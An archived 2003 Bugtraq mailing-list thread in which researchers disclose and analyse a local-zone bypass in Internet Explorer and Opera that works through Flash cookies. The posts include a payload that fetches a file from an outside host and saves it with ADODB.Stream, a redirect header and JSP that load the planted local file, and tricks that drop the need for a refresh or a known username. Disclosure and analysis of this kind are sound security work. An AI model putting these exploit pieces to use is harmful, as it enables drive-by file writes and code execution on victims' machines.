Onderwerp: Internet Explorer and Opera local zone restriction bypass

Internet Explorer and Opera local zone restriction bypass.
=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=

----------------------
Vendor Information:
----------------------

Homepage : http://www.microsoft.com
Vendor : informed
Mailed advisory: 23/10/03
Vender Response : None yet


----------------------
Affected Versions:
----------------------

All version of IE 6
Possibly 5.x too


----------------------
Description:
----------------------

Microsoft Internet Explorer does not allow local file access by a remote host by default.
By creating an iframe which points on a specially crafted cgi script (using the location header
to confuse IE), it is possible to cause IE to execute any local file through the iframe with local
zone restrictions. This then allows remote arbitrary file execution on the victim without having
the victim do a thing except load the page.
Opera seems to not only be affected by this vulnerability, but it also allows direct
local file access through iframes without any cgi scripts. Unlike IE where it is possible
to set activex objects to execute arbitrary files, in Opera it is not. There may be a way,
but I am currently not aware of any.


----------------------
Exploit:
----------------------

I have created a proof of concept page, but I did not show or explain how the cgi scripts
nor the flash file work exactly to prevent kiddie abuse.

For IE: http://www.mlsecurity.com/ie/ie.htm

For Opera: <iframe name="abc" src="file:///C:/"></iframe>

----------------------
Solution:
----------------------

Check Microsoft's website frequently until a new patch comes out.

----------------------
Contact:
----------------------

- Mindwarper
- mindwarper@linuxmail.org
- http://mlsecurity.com

--
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze

I decided to use the flash cookie just as an example. I could have used for example the Macromedia Director cookie. Another way would be using IE temporary cookies because they allow html tags and most other ascii symbols except for ";" in the cookie name
. So all I have to do is create a document.write script which writes the activex.
Another way would be using AIM's urlcache cookies which also apppear /Application Data/.
If Mozilla or Opera are installed it is also possible to use they're data which is stored in the /Application Data/.
The only problem is that I will still have to know the username of the victim.

- Mindwarper

----- Original Message -----
From: "Thor Larholm" <thor@pivx.com>
Date: Fri, 24 Oct 2003 21:54:32 -0700
To: "Mindwarper *" <mindwarper@linuxmail.org>,<bugtraq@securityfocus. com>
Subject: RE: Internet Explorer and Opera local zone restriction bypass

> There was not a lot of details in your post, so I will try to verify and clarify your findings. First things first, this is not a problem with Microsofts Internet Explorer, but with Macromedia and their Flash player.
>
> I could reproduce this issue successfully with a fresh install of the latest Flash player, version 6.0.65.0, on fully patched versions of both IE6SP1 and Windows XP Pro.
>
> There are two completely new issues at hand here.
>
> The first issue is that Macromedia Flash allows you to store arbitrary content in a known location, that is %APPDATA%\Macromedia\Flash Player\YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol. All flash cookies (which is what you set in your example, not browser co
okies) from YOURDOMAINNAME.TLD are stored in this file.
>
> The issue is caused by Macromedias decision to store the contents of your Flash cookie in plaintext in this .SOL file. When IE later reads the file the "magic filetype" feature of Explorer reads the first 256 bytes, finds HTML content and determines to
render the file as HTML since the target application is the browser, including your scripting.
>
> Being able to store arbitrary content in a known location is vital to any of the current range of IE exploits.
>
> Flash itself is a binary format, so this complete issue can easily be fixed by Macromedia by applying the same level of binary formatting to its Flash cookie contents, to provide slight obfuscation of the contents of Flash cookies when storing them on d
isk so Explorer does not misread its datatype.
>
> End-users can protect themselves against this exploit by changing how much data Flash applications are allowed to store on disk by going to http://www.macromedia.com/support/fl...l_storage.html and moving the slider all the way
down, equivelant to checking the "Never Ask Again" checkbox on the page. When an updated version of the Flash player that fixes this is available, it is equally easy to change the setting back.
>
> System administrators can edit the file %APPDATA%\Macromedia\Flash Player\maromedia.com\support\sys\settings.sol and change the bytes at positions c7 and c8 to contain BF and F0, respectively (ASCII ¿ and ð), to restrict data storage for Flash applicati
ons as an end-user would above. If you want to restore the file to default settings (for storing 100KB data) change the bytes back to 40 and 59, respectively (ASCII @ and Y).
>
> This is also why several people have said they could not reproduce the issue. They were either not logged in with the Administrator account, which your POC required, or they did not have the Macromedia Flash player installed.
>
> A similar issue was found way back with ID3 tags in Winamp and RealPlayer media files, and has been found on several occasions where a third-party non-Microsoft application allows you to store arbitrary content in a known location.
>
>
> The second issue is that IE lets you redirect to local files. This was restricted in IE6 SP1. While going over the source code in your POC, we discovered that it inadvertently redirects to a local file, despite the apparent restriction.
>
> When IE encounters a redirect such as the following
>
> Content-Location: file://c:/somefile.html
>
> it will disallow the action and not follow the redirect. However, your POC has one important alteration, which is the following
>
> Content-Location: file:///c:/somefile.html
>
> Did you notice that slight difference? Adding another slash to the URL circumvents the initial restriction, and when IE finally decides to load the URL in another part of its code it removes any excess slashes and properly loads file://c:/somefile.html

>
> The restriction imposed by IE6 SP1 is imposed on all local protocols, such as file:// and res://, and this new way to circumvent it equally applies to all local protocols. This means that you don't have to know the location of a specific file, but inste
ad can open a ressource file available on all systems, such as
>
> Content-Location: res:///browselc.dll/mb404.htm
>
> Of course, since you could not inject any code in the ressource file you will now have to use another cross-domain scripting vulnerability in place of the Macromedia Flash vulnerability you identified in the first issue. On the positive side, it also me
ans that you no longer have to guess the users Windows Logon name.
>
>
> In summary, when Macromedia changes their Flash player to no longer store Flash cookies in plaintext in a known location, this will no longer be an issue. All of the currently unpatched cross-domain scripting vulnerabilities are having patches produced,
and since they have no easy POC exploits I doubt we will see any malicious use of the local file redirection variation you found.
>
>
>
> Regards
> Thor Larholm
> PivX Solutions, LLC - Senior Security Researcher
> http://pivx.com/larholm/ - Get our research, join our mailinglist
>
>
>
> -----Original Message-----
> From: Mindwarper * [mailto:mindwarper@linuxmail.org]
> Sent: Friday, October 24, 2003 6:53 AM
> To: bugtraq@securityfocus.com
> Subject: Internet Explorer and Opera local zone restriction bypass
>
> <snip http://www.securityfocus.com/archive...2/2003-10-28/0>



-----------------------------|
- Mindwarper |
- mindwarper@linuxmail.org |
- http://mlsecurity.com |
-----------------------------|

--
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org
This allows you to send and receive SMS through your mailbox.


Powered by Outblaze

what this does is have a swf file generate a "flash cookie" or .sol file
which gets stored to a pseudo known location
(you need to know the logged in username)

C:\Documents and Settings\Jelmer\Application Data\Macromedia\Flash
Player\mlsecurity.com\mlsecurity.sol

in this cookie we find

<html><script>var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET",
"http://mlsecurity.com/random/ie.txt",0); x.Send();var s = new
ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\mlsecurity.txt",2);</script></html>

which is the unpatched ADODB.Stream issue so what he's trying to do is get
this to run from this sol file
by getting internet explorer to render it as an html file in an iframe

he tries to acomplish this by setting the response code to 302 (MOVED
TEMPORARILY) and making the location header in the reply point to a the
locally stored cookie
like this :

HTTP/1.1 302 Found
Date: Fri, 24 Oct 2003 23:32:13 GMT
Server: Apache/2.0.46 (Unix)
Accept-Ranges: bytes
Location: file:///C:/Documents and Settings/jelmer/Application
Data/Macromedia/Flash Player/mlsecurity.com/mlsecurity.sol
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1

the following jsp duplicates the behaviour

--snip--

<%
response.setStatus(HttpServletResponse.SC_MOVED_TE MPORARILY);
response.setHeader("Location","file:///C:/Documents and
Settings/jelmer/Application Data/Macromedia/Flash
Player/mlsecurity.com/mlsecurity.sol");
%>

--snip--

then he uses a dynamic iframe to load this page rather than a static one, eg
he uses

document.write('<iframe src="test.jsp"></iframe>');

rather than

<iframe src="test.jsp"></iframe>

using the static version has no effect


now thats how it works, now about *if* it works. , well when I initially
tried it, it did absolutely nothing for me
(fully patched IE6) yes it showed the location in the IFRAME as being local
in de frame properties, but it didn't
render the contents.

then I cleared the cache closed IE and all of the sudden it was kind of
working, in that it renders the local
file on pressing the refresh button.

When testing from the local filesystem, calling
window.frames[0].location.reload() also did
the trick, thus "automating" the attack,
You cant use this from the internet though because of cross domain policies,
although you could
most likely bypass this by using one of liu die yu's unpatched
vulnerabilities
All in all its still a bit rough and probably needs some work at least from
where I am sitting





for those curious as to what is in the swf , here's the actionscript code


function saveobject(cookiename)
{
var Daten_array = new Array("Sven", "kelor", "Tschdaeff", "Madokan",
"Ming", "Coolflash");
var Datum = new Date();
var Satz_str = _root.teststr_txt.text;
_root.createEmptyMovieClip("Test_mc", 0);
meinCook_so = SharedObject.getLocal(cookiename, "/");
meinCook_so.data.my_String = Satz_str;
meinCook_so.data.my_Array = Daten_array;
meinCook_so.data.my_Date = Datum;
meinCook_so.data.my_MovieClip = Test_mc;
RESULTS = meinCook_so.flush();
if (RESULTS == true)
{
_root.message_txt.text = "Eingabe Erfolgreich!";
}
}

function readobject(cookiename)
{
leseCook_so = SharedObject.getLocal(cookiename, "/");
delete("meinCook_so");
_root.read_txt.htmlText = "<font color=\"#0000FF\">my_String :</font> "
+ leseCook_so.data.my_String + "\n";
_root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_Array :</font> " + leseCook_so.data.my_Array + "\n");
_root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_Date :</font> " + leseCook_so.data.my_Date + "\n");
_root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_MovieClip :</font> " + leseCook_so.data.my_MovieClip +
"\n");
}

function deleteShareds(cookiename)
{
trace(cookiename);
delCook_so = SharedObject.getLocal(cookiename, "/");
delete("leseCook_so");
var del_array = new Array("my_String", "my_Array", "my_Date",
"my_MovieClip");
var i = 0;
delete(del_array[i]);
i++;
delete("delCook_so");
_root.del_txt.htmlText = "<font color=\"#0000FF\">Objekt :" +
delCook_so;
_root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_String gelצscht :</font> " +
delCook_so.data.my_String + "\n");
_root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_Array gelצscht :</font> " + delCook_so.data.my_Array
+ "\n");
_root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_Date gelצscht :</font> " + delCook_so.data.my_Date +
"\n");
_root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_MovieClip gelצscht :</font> " +
delCook_so.data.my_MovieClip + "\n");
}

system.useCodepage = true;

savedname = this.cookie_txt.text;
_root.saveobject(this.cookie_txt.text);
stop();


----- Original Message -----
From: "Jort Slobbe" <jortslobbe@hetnet.nl>
To: "Mindwarper *" <mindwarper@linuxmail.org>
Cc: <bugtraq@securityfocus.com>
Sent: Friday, October 24, 2003 9:02 PM
Subject: Re: Internet Explorer and Opera local zone restriction bypass


> Mindwarper * wrote:
>
> >Internet Explorer and Opera local zone restriction bypass.
> >=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
> >
> >----------------------
> >Vendor Information:
> >----------------------
> >
> >Homepage : http://www.microsoft.com
> >Vendor : informed
> >Mailed advisory: 23/10/03
> >Vender Response : None yet
> >
> >
> >----------------------
> >Affected Versions:
> >----------------------
> >
> >All version of IE 6
> >Possibly 5.x too
> >
> >
> >----------------------
> >Description:
> >----------------------
> >
> >Microsoft Internet Explorer does not allow local file access by a remote
host by default.
> >By creating an iframe which points on a specially crafted cgi script
(using the location header
> >to confuse IE), it is possible to cause IE to execute any local file
through the iframe with local
> >zone restrictions. This then allows remote arbitrary file execution on
the victim without having
> >the victim do a thing except load the page.
> >Opera seems to not only be affected by this vulnerability, but it also
allows direct
> >local file access through iframes without any cgi scripts. Unlike IE
where it is possible
> >to set activex objects to execute arbitrary files, in Opera it is not.
There may be a way,
> >but I am currently not aware of any.
> >
> >
> >----------------------
> >Exploit:
> >----------------------
> >
> >I have created a proof of concept page, but I did not show or explain how
the cgi scripts
> >nor the flash file work exactly to prevent kiddie abuse.
> >
> >For IE: http://www.mlsecurity.com/ie/ie.htm
> >
> >For Opera: <iframe name="abc" src="file:///C:/"></iframe>
> >
> >----------------------
> >Solution:
> >----------------------
> >
> >Check Microsoft's website frequently until a new patch comes out.
> >
> >----------------------
> >Contact:
> >----------------------
> >
> >- Mindwarper
> >- mindwarper@linuxmail.org
> >- http://mlsecurity.com
> >
> >
> >
> It doesn't work here. I have win2k sp4 with IE6 sp1. I didn't see the
> weird stuff in the iframe. I have clicked 10 times refresh and the
> Iframe is as blank as possible . When i clicked on the go go go button
> nothing were created. Maybe i'm not vurnable?
>
> Regards
> Jort
>
>

Thor Larholm <thor@PIVX.COM> wrote:

> ... this is not a problem with Microsofts Internet Explorer, but ...
> There are two completely new issues at hand here.
> The second issue is that IE ... inadvertently redirects to a local file ...
> Content-Location: file:///c:/somefile.html
> ... circumvents the initial restriction ... on all local protocols,
> such as file:// and res:// ...

How is that not an IE problem? Do all MS apologist self-contradict?

> Being able to store arbitrary content in a known location is vital to
> any of the current range of IE exploits. ...
> A similar issue ... has been found on several occasions where a
> third-party non-Microsoft application allows you to store arbitrary
> content in a known location. ...
> In summary, when Macromedia changes their Flash player to no longer
> store Flash cookies in plaintext in a known location, this will no
> longer be an issue. ... I doubt we will see any malicious use of the
> local file redirection variation you found.

My favourite store-arbitrary-local-file application is Eudora: it
pre-extracts attachments into files in a known location.

Cheers,

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia

In-Reply-To: <20031024135303.26267.qmail@linuxmail.org>

It worked for me- IE6 on XP-SP1.

but it seems to be a Flash Player MX plugin
bug than IE bug, cause it stores cookies(
flash documents call it SharedObject) on
disk, in a fixed location.

bye


>Subject: Internet Explorer and Opera local zone restriction bypass
>
>Internet Explorer and Opera local zone restriction bypass.
>=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
>
>----------------------
>Vendor Information:
>----------------------
>
>Homepage : http://www.microsoft.com
>Vendor : informed
>Mailed advisory: 23/10/03
>Vender Response : None yet
>
>
>----------------------
>Affected Versions:
>----------------------
>
>All version of IE 6
>Possibly 5.x too
>
>
>----------------------
>Description:
>----------------------
>
>Microsoft Internet Explorer does not allow local file access by a remote host by default.
>By creating an iframe which points on a specially crafted cgi script (using the location header
>to confuse IE), it is possible to cause IE to execute any local file through the iframe with local
>zone restrictions. This then allows remote arbitrary file execution on the victim without having
>the victim do a thing except load the page.
>Opera seems to not only be affected by this vulnerability, but it also allows direct
>local file access through iframes without any cgi scripts. Unlike IE where it is possible
>to set activex objects to execute arbitrary files, in Opera it is not. There may be a way,
>but I am currently not aware of any.
>
>
>----------------------
>Exploit:
>----------------------
>
>I have created a proof of concept page, but I did not show or explain how the cgi scripts
>nor the flash file work exactly to prevent kiddie abuse.
>
>For IE: http://www.mlsecurity.com/ie/ie.htm
>
>For Opera: <iframe name="abc" src="file:///C:/"></iframe>
>
>----------------------
>Solution:
>----------------------
>
>Check Microsoft's website frequently until a new patch comes out.
>
>----------------------
>Contact:
>----------------------
>
>- Mindwarper
>- mindwarper@linuxmail.org
>- http://mlsecurity.com
>
>--
>______________________________________________
>Check out the latest SMS services @ http://www.linuxmail.org
>This allows you to send and receive SMS through your mailbox.
>
>
>Powered by Outblaze
>

Mindwarper * wrote:
> If Mozilla or Opera are installed it is also possible to use they're data which is stored in the /Application Data/.
> The only problem is that I will still have to know the username of the victim.

Mozilla user's profile path will have a randomly named directory. See
below (this on Windows 2000 and XP):

C:\Documents and Settings\<Windows username>\Application
Data\Mozilla\Profiles\<profile name, usually default>\<random 8
characters>.slt\

Older Mozilla installations may have slightly different path, but they
should all still contain that "salted" directory name.

--
Heikki Toivonen

I can only reproduce it together with user-interaction, that is
manually pressing refresh in Internet Explorer. I did some attempts to
try to automaticly refresh the page using javascript but without any luck
(denied access due to cross-site-policy).

If this vulnerability depends both on manually pressing refresh and
knowing the username of the person visiting the malicious page (exact
path to known local file), then actual exploitation becomes much harder.

Environment: Latest fully patched IE on Win 2000 pro.

/Andreas Sandblad

On Fri, 24 Oct 2003, Mindwarper * wrote:

> Internet Explorer and Opera local zone restriction bypass.
> =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
>
> ----------------------
> Vendor Information:
> ----------------------
>
> Homepage : http://www.microsoft.com
> Vendor : informed
> Mailed advisory: 23/10/03
> Vender Response : None yet
>
>
> ----------------------
> Affected Versions:
> ----------------------
>
> All version of IE 6
> Possibly 5.x too
>
>
> ----------------------
> Description:
> ----------------------
>
> Microsoft Internet Explorer does not allow local file access by a remote host by default.
> By creating an iframe which points on a specially crafted cgi script (using the location header
> to confuse IE), it is possible to cause IE to execute any local file through the iframe with local
> zone restrictions. This then allows remote arbitrary file execution on the victim without having
> the victim do a thing except load the page.
> Opera seems to not only be affected by this vulnerability, but it also allows direct
> local file access through iframes without any cgi scripts. Unlike IE where it is possible
> to set activex objects to execute arbitrary files, in Opera it is not. There may be a way,
> but I am currently not aware of any.
>
>
> ----------------------
> Exploit:
> ----------------------
>
> I have created a proof of concept page, but I did not show or explain how the cgi scripts
> nor the flash file work exactly to prevent kiddie abuse.
>
> For IE: http://www.mlsecurity.com/ie/ie.htm
>
> For Opera: <iframe name="abc" src="file:///C:/"></iframe>
>
> ----------------------
> Solution:
> ----------------------
>
> Check Microsoft's website frequently until a new patch comes out.
>
> ----------------------
> Contact:
> ----------------------
>
> - Mindwarper
> - mindwarper@linuxmail.org
> - http://mlsecurity.com
>
>

--
_ _
o' \,=./ `o
(o o)
-ooO--(_)--Ooo-

Hi Mindwarper.

It seems you can actually get it to work without pressing refresh and
without knowing the username (at least on my fully patched win2000 pro
machine).

How? Remember the vulnerability
"Microsoft Internet Explorer %USERPROFILE% Folder Disclosure Vuln."
http://msgs.securepoint.com/cgi-bin/...aq0306/52.html
found by Eiji James Yoshida and published on Bugtraq 5 June 2003. It will
allow us to link to local files without knowing the username.

Basically this will repeat the test I did:
- Infect mlsecurity.sol with html code by visiting:
http://www.mlsecurity.com/ie/wee.php

- Create an iframe dynamically:
document.write('<iframe src=location.php><'+'/iframe>');

- Redirect to local file with the following http header:
Location: ftp://%@/../../../../Application Data/Macromedia/Flash
Player/mlsecurity.com/mlsecurity.sol

No username needed, no refresh.

Sincerely,

Andreas Sandblad


On Fri, 24 Oct 2003, Mindwarper * wrote:

> Internet Explorer and Opera local zone restriction bypass.
> =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
>
> ----------------------
> Vendor Information:
> ----------------------
>
> Homepage : http://www.microsoft.com
> Vendor : informed
> Mailed advisory: 23/10/03
> Vender Response : None yet
>
>
> ----------------------
> Affected Versions:
> ----------------------
>
> All version of IE 6
> Possibly 5.x too
>
>
> ----------------------
> Description:
> ----------------------
>
> Microsoft Internet Explorer does not allow local file access by a remote host by default.
> By creating an iframe which points on a specially crafted cgi script (using the location header
> to confuse IE), it is possible to cause IE to execute any local file through the iframe with local
> zone restrictions. This then allows remote arbitrary file execution on the victim without having
> the victim do a thing except load the page.
> Opera seems to not only be affected by this vulnerability, but it also allows direct
> local file access through iframes without any cgi scripts. Unlike IE where it is possible
> to set activex objects to execute arbitrary files, in Opera it is not. There may be a way,
> but I am currently not aware of any.
>
>
> ----------------------
> Exploit:
> ----------------------
>
> I have created a proof of concept page, but I did not show or explain how the cgi scripts
> nor the flash file work exactly to prevent kiddie abuse.
>
> For IE: http://www.mlsecurity.com/ie/ie.htm
>
> For Opera: <iframe name="abc" src="file:///C:/"></iframe>
>
> ----------------------
> Solution:
> ----------------------
>
> Check Microsoft's website frequently until a new patch comes out.
>
> ----------------------
> Contact:
> ----------------------
>
> - Mindwarper
> - mindwarper@linuxmail.org
> - http://mlsecurity.com
>
>

--
_ _
o' \,=./ `o
(o o)
-ooO--(_)--Ooo-

I tried it on 3 pc's and it only worked when pressing refresh,
something that can be concidered non trivial user interaction

I just tried your suggestion under windows XP / IE6 SP1
it doesn't work

Cannot find 'ftp://%@/... Make sure the path or Internet address is correct

--jelmer



----- Original Message -----
From: "Andreas Sandblad" <sandblad@acc.umu.se>
To: "Mindwarper *" <mindwarper@linuxmail.org>
Cc: <bugtraq@securityfocus.com>
Sent: Monday, October 27, 2003 9:32 PM
Subject: Re: Internet Explorer and Opera local zone restriction bypass


> Hi Mindwarper.
>
> It seems you can actually get it to work without pressing refresh and
> without knowing the username (at least on my fully patched win2000 pro
> machine).
>
> How? Remember the vulnerability
> "Microsoft Internet Explorer %USERPROFILE% Folder Disclosure Vuln."
> http://msgs.securepoint.com/cgi-bin/...aq0306/52.html
> found by Eiji James Yoshida and published on Bugtraq 5 June 2003. It will
> allow us to link to local files without knowing the username.
>
> Basically this will repeat the test I did:
> - Infect mlsecurity.sol with html code by visiting:
> http://www.mlsecurity.com/ie/wee.php
>
> - Create an iframe dynamically:
> document.write('<iframe src=location.php><'+'/iframe>');
>
> - Redirect to local file with the following http header:
> Location: ftp://%@/../../../../Application Data/Macromedia/Flash
> Player/mlsecurity.com/mlsecurity.sol
>
> No username needed, no refresh.
>
> Sincerely,
>
> Andreas Sandblad
>
>
> On Fri, 24 Oct 2003, Mindwarper * wrote:
>
> > Internet Explorer and Opera local zone restriction bypass.
> > =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
> >
> > ----------------------
> > Vendor Information:
> > ----------------------
> >
> > Homepage : http://www.microsoft.com
> > Vendor : informed
> > Mailed advisory: 23/10/03
> > Vender Response : None yet
> >
> >
> > ----------------------
> > Affected Versions:
> > ----------------------
> >
> > All version of IE 6
> > Possibly 5.x too
> >
> >
> > ----------------------
> > Description:
> > ----------------------
> >
> > Microsoft Internet Explorer does not allow local file access by a remote
host by default.
> > By creating an iframe which points on a specially crafted cgi script
(using the location header
> > to confuse IE), it is possible to cause IE to execute any local file
through the iframe with local
> > zone restrictions. This then allows remote arbitrary file execution on
the victim without having
> > the victim do a thing except load the page.
> > Opera seems to not only be affected by this vulnerability, but it also
allows direct
> > local file access through iframes without any cgi scripts. Unlike IE
where it is possible
> > to set activex objects to execute arbitrary files, in Opera it is not.
There may be a way,
> > but I am currently not aware of any.
> >
> >
> > ----------------------
> > Exploit:
> > ----------------------
> >
> > I have created a proof of concept page, but I did not show or explain
how the cgi scripts
> > nor the flash file work exactly to prevent kiddie abuse.
> >
> > For IE: http://www.mlsecurity.com/ie/ie.htm
> >
> > For Opera: <iframe name="abc" src="file:///C:/"></iframe>
> >
> > ----------------------
> > Solution:
> > ----------------------
> >
> > Check Microsoft's website frequently until a new patch comes out.
> >
> > ----------------------
> > Contact:
> > ----------------------
> >
> > - Mindwarper
> > - mindwarper@linuxmail.org
> > - http://mlsecurity.com
> >
> >
>
> --
> _ _
> o' \,=./ `o
> (o o)
> -ooO--(_)--Ooo-

> From: Andreas Sandblad [mailto:sandblad@acc.umu.se]
> I can only reproduce it together with user-interaction, that is manually
> pressing refresh in Internet Explorer. I did some attempts to try to
> automaticly refresh the page using javascript but without any luck
> (denied access due to cross-site-policy).

There is absolutely no requirement for any user-interaction, as you can
programmatically click the Refresh button - or rather, trigger the exact same
non-window-object-dependant non-cross-site functionality in the current window
object where you have all the access you need.

document.execCommand("Refresh");

http://msdn.microsoft.com/workshop/a...xeccommand.asp

Refresh is just one of the many command identifiers that document and range
objects can utilize

http://msdn.microsoft.com/workshop/a...commandids.asp

Use a third window object to store the state on wether or not you have refreshed
already, to avoid an infinite loop.



Regards
Thor Larholm
PivX Solutions, LLC - Senior Security Researcher
http://pivx.com/larholm/ - Get our research, join our mailinglist

In-Reply-To: <20031025100233.6289.qmail@linuxmail.org>

try this ...

its dam strange to see WINXP LOGOFF WITHOUT ASKING MY PERMISSION

file://c:\windows\system32\logoff.exe

--------------------

>Received: (qmail 3472 invoked from network); 27 Oct 2003 15:55:23 -0000
>Received: from outgoing2.securityfocus.com (205.206.231.26)
> by mail.securityfocus.com with SMTP; 27 Oct 2003 15:55:22 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing2.securityfocus.com (Postfix) with QMQP
> id 492E98F57D; Mon, 27 Oct 2003 02:52:17 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 22041 invoked from network); 25 Oct 2003 03:57:25 -0000
>Message-ID: <20031025100233.6289.qmail@linuxmail.org>
>Content-Type: text/plain; charset="iso-8859-1"
>Content-Disposition: inline
>Content-Transfer-Encoding: 7bit
>MIME-Version: 1.0
>X-Mailer: MIME-tools 5.41 (Entity 5.404)
>From: "Mindwarper *" <mindwarper@linuxmail.org>
>To: "Thor Larholm" <thor@pivx.com>
>Cc: bugtraq@securityfocus.com
>Date: Sat, 25 Oct 2003 18:02:33 +0800
>Subject: RE: Internet Explorer and Opera local zone restriction bypass
>X-Originating-Ip: 213.8.132.107
>X-Originating-Server: ws5-7.us4.outblaze.com
>
>I decided to use the flash cookie just as an example. I could have used for example the Macromedia Director cookie. Another way would be using IE temporary cookies because they allow html tags and most other ascii symbols except for ";" in the cookie nam
e. So all I have to do is create a document.write script which writes the activex.
>Another way would be using AIM's urlcache cookies which also apppear /Application Data/.
>If Mozilla or Opera are installed it is also possible to use they're data which is stored in the /Application Data/.
>The only problem is that I will still have to know the username of the victim.
>
>- Mindwarper
>
>----- Original Message -----
>From: "Thor Larholm" <thor@pivx.com>
>Date: Fri, 24 Oct 2003 21:54:32 -0700
>To: "Mindwarper *" <mindwarper@linuxmail.org>,<bugtraq@securityfocus. com>
>Subject: RE: Internet Explorer and Opera local zone restriction bypass
>
>> There was not a lot of details in your post, so I will try to verify and clarify your findings. First things first, this is not a problem with Microsofts Internet Explorer, but with Macromedia and their Flash player.
>>
>> I could reproduce this issue successfully with a fresh install of the latest Flash player, version 6.0.65.0, on fully patched versions of both IE6SP1 and Windows XP Pro.
>>
>> There are two completely new issues at hand here.
>>
>> The first issue is that Macromedia Flash allows you to store arbitrary content in a known location, that is %APPDATA%\Macromedia\Flash Player\YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol. All flash cookies (which is what you set in your example, not browser c
ookies) from YOURDOMAINNAME.TLD are stored in this file.
>>
>> The issue is caused by Macromedias decision to store the contents of your Flash cookie in plaintext in this .SOL file. When IE later reads the file the "magic filetype" feature of Explorer reads the first 256 bytes, finds HTML content and determines to
render the file as HTML since the target application is the browser, including your scripting.
>>
>> Being able to store arbitrary content in a known location is vital to any of the current range of IE exploits.
>>
>> Flash itself is a binary format, so this complete issue can easily be fixed by Macromedia by applying the same level of binary formatting to its Flash cookie contents, to provide slight obfuscation of the contents of Flash cookies when storing them on
disk so Explorer does not misread its datatype.
>>
>> End-users can protect themselves against this exploit by changing how much data Flash applications are allowed to store on disk by going to http://www.macromedia.com/support/fl...l_storage.html and moving the slider all the wa
y down, equivelant to checking the "Never Ask Again" checkbox on the page. When an updated version of the Flash player that fixes this is available, it is equally easy to change the setting back.
>>
>> System administrators can edit the file %APPDATA%\Macromedia\Flash Player\maromedia.com\support\sys\settings.sol and change the bytes at positions c7 and c8 to contain BF and F0, respectively (ASCII ¿ and ð), to restrict data storage for Flash applicat
ions as an end-user would above. If you want to restore the file to default settings (for storing 100KB data) change the bytes back to 40 and 59, respectively (ASCII @ and Y).
>>
>> This is also why several people have said they could not reproduce the issue. They were either not logged in with the Administrator account, which your POC required, or they did not have the Macromedia Flash player installed.
>>
>> A similar issue was found way back with ID3 tags in Winamp and RealPlayer media files, and has been found on several occasions where a third-party non-Microsoft application allows you to store arbitrary content in a known location.
>>
>>
>> The second issue is that IE lets you redirect to local files. This was restricted in IE6 SP1. While going over the source code in your POC, we discovered that it inadvertently redirects to a local file, despite the apparent restriction.
>>
>> When IE encounters a redirect such as the following
>>
>> Content-Location: file://c:/somefile.html
>>
>> it will disallow the action and not follow the redirect. However, your POC has one important alteration, which is the following
>>
>> Content-Location: file:///c:/somefile.html
>>
>> Did you notice that slight difference? Adding another slash to the URL circumvents the initial restriction, and when IE finally decides to load the URL in another part of its code it removes any excess slashes and properly loads file://c:/somefile.html

>>
>> The restriction imposed by IE6 SP1 is imposed on all local protocols, such as file:// and res://, and this new way to circumvent it equally applies to all local protocols. This means that you don't have to know the location of a specific file, but inst
ead can open a ressource file available on all systems, such as
>>
>> Content-Location: res:///browselc.dll/mb404.htm
>>
>> Of course, since you could not inject any code in the ressource file you will now have to use another cross-domain scripting vulnerability in place of the Macromedia Flash vulnerability you identified in the first issue. On the positive side, it also m
eans that you no longer have to guess the users Windows Logon name.
>>
>>
>> In summary, when Macromedia changes their Flash player to no longer store Flash cookies in plaintext in a known location, this will no longer be an issue. All of the currently unpatched cross-domain scripting vulnerabilities are having patches produced
, and since they have no easy POC exploits I doubt we will see any malicious use of the local file redirection variation you found.
>>
>>
>>
>> Regards
>> Thor Larholm
>> PivX Solutions, LLC - Senior Security Researcher
>> http://pivx.com/larholm/ - Get our research, join our mailinglist
>>
>>
>>
>> -----Original Message-----
>> From: Mindwarper * [mailto:mindwarper@linuxmail.org]
>> Sent: Friday, October 24, 2003 6:53 AM
>> To: bugtraq@securityfocus.com
>> Subject: Internet Explorer and Opera local zone restriction bypass
>>
>> <snip http://www.securityfocus.com/archive...2/2003-10-28/0>
>
>
>
>-----------------------------|
>- Mindwarper |
>- mindwarper@linuxmail.org |
>- http://mlsecurity.com |
>-----------------------------|
>
>--
>______________________________________________
>Check out the latest SMS services @ http://www.linuxmail.org
>This allows you to send and receive SMS through your mailbox.
>
>
>Powered by Outblaze
>

In-Reply-To: <20031024135303.26267.qmail@linuxmail.org>

All:

Macromedia is dedicated to protecting the security of our customers, and we are taking steps to resolve this issue.

